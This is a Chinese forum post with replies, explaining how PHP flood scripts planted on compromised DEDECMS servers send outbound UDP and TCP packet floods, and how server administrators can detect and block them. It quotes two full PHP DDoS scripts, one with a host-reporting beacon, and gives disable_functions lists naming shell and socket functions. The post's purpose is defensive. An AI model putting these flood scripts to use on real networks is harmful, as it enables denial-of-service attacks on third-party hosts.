找回密码
 加入怎通
查看: 1638|回复: 5

[原创] 服务器php对外发包引起崩溃的解决办法

[复制链接]
商摆小路 发表于 2012-06-12 13:06:58 | 显示全部楼层 |阅读模式
  服务器php对外发包引起崩溃的解决办法paopao最近老听人说,php对外发包,引起服务器崩溃或被机房查封,今天闲着无事和大家一起分享paopao我总结的DEDECMS php对外发包引发服务器崩溃的终极解决方法,希望可以帮助大家解决服务器问题,让网站运行的更好+ k8 l& _7 j9 a! Y! z/ a/ p
  一。php对外发包分析
& q5 ?+ r8 S; }  l  用php代码调用sockets,直接用服务器的网络攻击别的IP,常见代码如下:
5 o, d2 D+ O, g  u1 e; \  以下是代码片段:
; O2 e9 l  ^. h) p2 G" g8 O  $packets = 0;0 u* v; t. S( q! g2 u
  $ip = $_GET[\'ip\'];
( Y( K5 N4 y% C1 D$ B& x* ?  $rand = $_GET[\'port\'];
% I$ v, R7 I5 M$ E  set_time_limit(0);2 _* K+ d: ^! G  b0 e. M
  ignore_user_abort(FALSE);
& g# c5 ?* H! {  $exec_time = $_GET[\'time\'];sbxl-20120612
* r  x# _' V) i% v. T  $time = time();
7 v- S4 C& j! Q2 M9 _, |# L. u  print \'Flooded: $ip on port $rand
% K' Z  O0 W0 d/ e  \';
2 e  K5 e0 m/ V0 \. y6 s- j  $max_time = $time+$exec_time;; S5 `7 N. V, {
  for($i=0;$i<65535;$i++){
7 f3 }; M0 |  t  L  $out .= \'X\';0 C  U2 G4 V( a% _" E
  }
  f+ k3 K0 i& k8 C8 a6 n0 l  while(1){
6 H" K9 K. Z9 Z7 }  $packets++;- q) e/ Z) ?, O+ i% U# H7 F* q
  if(time() > $max_time){' p( g& A9 \3 K/ _- `6 D" {3 c8 }
  break;, Q( G0 s- n: V* b
  }
! s2 S& {+ m6 W2 z% p" X" {) ?  $fp = fsockopen(\'udp://$ip\', $rand, $errno, $errstr, 5);1 w+ ~5 N9 n5 n
  if($fp){& B: L$ m- ^0 u+ r' N/ t7 S, m$ I
  fwrite($fp, $out);
+ M, k! r) ^; P7 y  fclose($fp);! A+ o0 @1 P, w6 W
  }. G1 t9 N- G' Y! b' J7 \* K
  }( l* ]- g" M" P2 s$ z3 V& O
  echo \'Packet complete at \'.time(\'h:i:s\').\' with9 V( r# [% m; c4 L2 g! J2 e, l
  $packets (\' . round(($packets*65)/1024, 2) . \' mB) packets averaging \'.2 Z5 T. n* H2 G' A3 {
  round($packets/$exec_time, 2) . \' packets/s ;- f7 m! d& {5 @! q) r5 q+ R1 U
  ?>1 H! ?$ |) F: o- O8 [% L2 i; o0 W
  二。表现特征  G5 ?: U9 H, o% E" Z" `
  一打开IIS,服务器的流出带宽就用光-----就是说服务器不断向别人发包,这个情况和受到DDOS攻击是不同的,DDOS是服务器不断收到大量数据包.
0 p* g5 h+ Q- W9 T* ]" \  近期由于DEDECMS出现漏洞而导致大量服务器出现这个问题.+ l. Y( U5 k9 u* Y$ U2 z; |7 {( }
  如何快速找到这些站?
0 B* Z$ a+ [% C1 z+ U' V. c  你可以打开日志  I9 x+ F6 }$ \# I+ g; I8 c  J
  C:\Windows\System32\LogFiles\HTTPERR\httperr...log,打开今天时间的文件,) Q3 v, V4 ?* B2 ]6 }6 C1 J
  里面有类似这样的记录:% O- A& A" P$ N+ `
  2012-04-26 06:37:28 58.255.112.112 26817 98.126.247.13 80 HTTP/1.1 GET /xxxx/xxxxxx.php?host=122.224.32.100&port=445&time=120 503 783 Disabled 30_FreeHost_1
% ^6 k4 A4 i2 v  最后三项783 Disabled 30_FreeHost_1' I+ F3 z, L/ x. u
  783就是这个站在IIS中的ID  U- m- q! ^- G1 q. {8 s
  30_FreeHost_1就是所在池( \7 M6 [  J3 Y' c6 A; N
  三?解决办法
$ Z& o- f. E% y3 Y  1.按上述找到这个网站后停止它.或停止池,并重启IIS.
/ ^# C1 \/ [( e  2.在IP策略,或防火墙中,禁止所有udp向外发送  a  y% Y7 `: U6 D
  在星外最新版本的安全包中,已带有4.0版本的IP策略【下载safe包】,您导入后就直接可以限制了外发的UDP包?下载这个包,之后导入安全策略?但这个策略并没有关闭DNS端口,部分攻击还是有效.
$ T/ L, V9 e, ~, E; V  为了解决这个问题,你也可以调整IP策略,限制udp只能访问特定的DNS服务器IP,如8.8.8.8,除非黑客攻击这个IP,不然攻击也是无效的,你可以在网卡DNS中设置一个你才知道的DNS IP,并且不要公开,然后调用IP策略中的udp open部分就可以解决.(打开IP策略的属性,双击open,将open中的两条udp记录删除任意一条,在保留的这条中,双击,改成 地址 从源地址 任何地址 到目标地址'特定IP 这个IP就是设置为你自己的DNS IP,如8.8.8.8' 保存后就行了)1 |; G1 E9 f; b3 c  C
  在2011-4-27,我们上传了新的安全包,里面有一个'星外虚拟主机管理平台IP策略关闭所有UDP端口用.ipsec'文件,您可以导入它并启用,就可以关闭所有udp端口,就可以完全防止这类攻击,但是,这个策略由于关闭了DNS端口,会造成的这台服务器上无法用IE访问任何域名,因此,用户的采集功能也就用不了.(同样,如果在主控网站上用了这个策略,就会造成的受控自检不通过,因为解析不了域名,另外,部分用户反映此策略会造成的mysql不正常)9 _5 ]5 ~6 F" v/ K& E
  3.用一流信息监控,在SQL拦截及网址拦截中,拦截port=这个关键词(其他关键词可以删除.)% T7 m- w9 o" u5 q2 H1 t6 ~5 t. P
  4.也可以直接禁止上面的代码,如改win\php.ini后重启IIS5 u% V- R# k$ U, y4 n
  ignore_user_abort = On
! y/ S6 w7 W$ `0 b  (注意前面的;号要删除)
* \9 n+ f# ^: J% l  disable_functions =exec,system,passthru,popen,pclose,shell_exec,proc_open,curl_exec,multi_exec,dl,chmod,stream_socket_server,popepassthru,pfsockopen,gzinflate,
7 H. }5 o6 z" o" W% _( Q  P- x6 f  在后面加上
% B! W- |8 Q' {7 L3 F! p  fsockopen,set_time_limit
* j* R# g7 I6 V, w! B5 \4 O8 o: M  但这样会造成很多php程序都不正常.
: ^" H' K+ x6 R& L  Q; g& g  另外,这也表明你的服务器安全做得不错,如果能入侵.黑客就直接提权了,还DOS做什么?6 }( w5 Z% n7 Z0 _4 V
  近期已有新的基于TCP攻击的PHPDDOS代码如下:
6 \0 G9 c! J1 M6 g  以下是代码片段:) D2 P( Z1 E6 |. f7 v3 z
  set_time_limit(999999);
1 j. H) U+ p( J8 q  C& T7 C  $host = $_GET['host'];
. Q" S, a; Z' E% Y5 i$ E  $port = $_GET['port'];7 v0 ]7 ]  j( N; o! F
  $exec_time = $_GET['time'];0 c$ ^" i& H6 u0 R
  $packets = 64;. {" S# H8 _  N/ ^9 r! B, s
  ignore_user_abort(True);0 w; F9 ~4 _% Z
  if (StrLen($host)==0 or StrLen($port)==0 or StrLen($exec_time)==0){
! Z3 [( u' i6 @  if (StrLen($_GET['rat'])<>0){' i! W* {, a- C6 T0 q7 j$ K
  echo $_GET['rat'].$_SERVER['HTTP_HOST'].'|'.GetHostByName($_SERVER['SERVER_NAME']).'|'.
: F0 Z. a$ }1 O' D. j  php_uname().'|'.$_SERVER['SERVER_SOFTWARE'].$_GET['rat'];
* K. H: ^/ S" t% `2 O  exit;
$ {! x4 W2 B$ W: y  }' n' E) m% U5 U/ x" J
  exit;
/ k3 t" G$ p, V6 x& `$ I, m4 g1 Z  }
7 q" t) \9 b( F4 y/ L3 l  $max_time = time()+$exec_time;7 j/ E" v, h+ p$ C) }3 I" c4 G- d
  while(1){: i; k: M9 @  d+ e- E
  $packets++;
; B2 A: v& W7 N; ^1 {- m5 x  if(time() > $max_time or $exec_time != 69){
  `8 {5 Z/ g: y! V1 S! R  break;
6 c9 A% V! \1 T4 n  }
0 V9 j( L$ ?+ {& b3 _; b( t  $fp = fsockopen('tcp://$host', $port, $errno, $errstr, 0);- c4 J6 B( u  }$ I9 e
  }
6 c  k# _2 o8 W+ t2 F  \7 M  ?>' C7 W8 Y3 S5 K, v8 K0 C
  同样,可以采有以下解决办法:
8 K/ G8 h  W* J+ y! F" h  \0 `2 B+ y; r  1.也可以直接禁止上面的代码,如改win\php.ini后重启IIS0 }! H" N5 f) |$ m
  ignore_user_abort = On: `" _, z* U& L, W4 M( `5 I/ h
  (注意前面的;号要删除)! m  I# c8 l. S( S, t/ I
  disable_functions =exec,system,passthru,popen,pclose,shell_exec,proc_open,curl_exec,multi_exec,dl,chmod,stream_socket_server,popepassthru,pfsockopen,gzinflate,; n/ w% x+ j2 |0 J+ Z. a" N) w* G, N
  在后面加上
8 ^; N- Z5 O; U3 \3 S3 j  fsockopen,set_time_limit
8 s" h$ y4 L, _) g3 H% h) U1 b  但这样会造成很多php程序都不正常. 如果您是IDC,给客户提供空间的,禁用函数可能导致客户程序无法运行,所以一般不要用此办法) e. O% ]* W. _6 ?
  2.在IP策略中禁止所有外访的TCP数据包,但这样会造成的采集功能无效,也不能用在主控服务器上?
. e1 a' y, o# K  3.在服务器要用关键词tcp:或udp:搜索所有php类文件,找到攻击文件,删除它?4 K) U$ e5 E9 P( A- f; E) f9 ^
        文章出自医院网站优化 http://www.ahyyqing.com,转载请注明出处。/ J* N! Y* P4 l. E/ x  `" @

暂时无法加载帖子列表

回复

使用道具 举报

TONY 发表于 2012-06-12 13:39:53 | 显示全部楼层
很好 感谢分享啊
回复

使用道具 举报

幸福的蚂蚁 发表于 2025-11-10 20:26:34 | 显示全部楼层
分析得很透彻,很多细节都说到点子上了~
回复

使用道具 举报

DAIV 发表于 2026-02-17 01:26:21 | 显示全部楼层
楼主太厉害了,整理得这么详细,必须支持
回复

使用道具 举报

286888037 发表于 2026-03-31 17:08:47 | 显示全部楼层
完全赞同,我也是这么认为的,英雄所见略同~
回复

使用道具 举报

SAK 发表于 2026-07-13 01:37:23 | 显示全部楼层
这个思路很新颖,打开了新世界的大门,谢谢分享
回复

使用道具 举报

    您需要登录后才可以回帖 登录 | 加入怎通

    本版积分规则

    QQ|手机版|小黑屋|网站地图|真牛社区 ( 苏ICP备2023040716号-2 )

    GMT+8, 2026-7-27 20:10 , Processed in 0.039329 second(s), 30 queries , Gzip On.

    免责声明:本站信息来自互联网,本站不对其内容真实性负责,如有侵权等情况请联系420897364#qq.com(把#换成@)删除。

    Powered by Discuz! X3.5

    快速回复 返回顶部 返回列表